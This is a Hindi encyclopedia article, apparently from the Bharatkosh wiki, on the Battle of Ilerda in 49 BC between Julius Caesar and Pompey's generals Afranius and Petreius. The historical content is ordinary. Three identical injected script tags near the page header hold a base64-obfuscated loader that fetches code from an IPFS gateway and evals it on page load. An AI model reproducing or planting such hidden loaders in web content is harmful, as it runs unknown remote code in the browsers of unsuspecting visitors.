इलेर्दा का युद्ध

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इलेर्दा का युद्ध इटली के इतिहास में लड़े गये कई महत्त्वपूर्ण युद्धों में से एक था। यह युद्ध 49 ई. पू. 9 मार्च और 2 जुलाई के बीच लड़ा गया था। इसके नायक प्रजातांत्रिक दल के नेता जूलियस सीज़र और अभिजात वर्ग के नेता 'पांपेइ' थे।

  • जूलियस सीज़र ने अपने दो महीनों के अभियान में समूचे इटली पर अधिकार कर लिया था।
  • सम्पूर्ण इटली को जीत लेने के बाद भी सीज़र उसका स्वामी न हो सका, क्योंकि पांपेइ की शक्ति ग्रीस आदि पूर्वी देशों में बड़ी थी और वह इटली को मिस्र, सिसिली और सार्दीनिया से जाने वाली रसद काट सकता था, फिर उसकी स्पेनी सेनाएँ इटली और गाल दोनों के लिए भीषण खतरा थीं।
  • सीज़र पहले स्पेन की ओर बढ़ा। वहाँ पांपेइ स्वयं तो नहीं था, किंतु उसके शक्तिमान सेनापति अफ्रानियस और पेत्रियस विशाल सेनाओं के साथ यहाँ नियुक्त थे।
  • इलेर्दा के सिकोरिस नदवर्ती कस्बे में अफ्रानियस और पेत्रियस की सेनाएँ पड़ाव डाले जमी थीं। सीज़र ने हमला किया, लेकिन उसे पराजय का मुँह देखना पड़ा।
  • इस पराजय के बाद तो रक्तपात छोड़ कर साजिशों और कूटनीति की लड़ाई शुरू हुई। दाँवपेंच चलने लगे और अंत में अफ्रानियस की सेनाओं को घेर कर और उसे जलविहीन कर जूलियस सीज़र ने उसे संधि करने पर मजबूर किया।
  • साजिशों और कूटनीति की लड़ाई में इलेर्दा के युद्ध के समान संसार का संभवत: कोई दूसरा युद्ध नहीं था।
  • राजनीतिक दृष्टि से भी इस युद्ध ने पांपेइ को यूरोप से काट दिया और उसे एशियाई देशों में शरण लेते हुए अपनी मौत की ओर प्रयाण करना पड़ा।[१]

टीका टिप्पणी और संदर्भ

  1. ओंकारनाथ उपाध्याय, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 06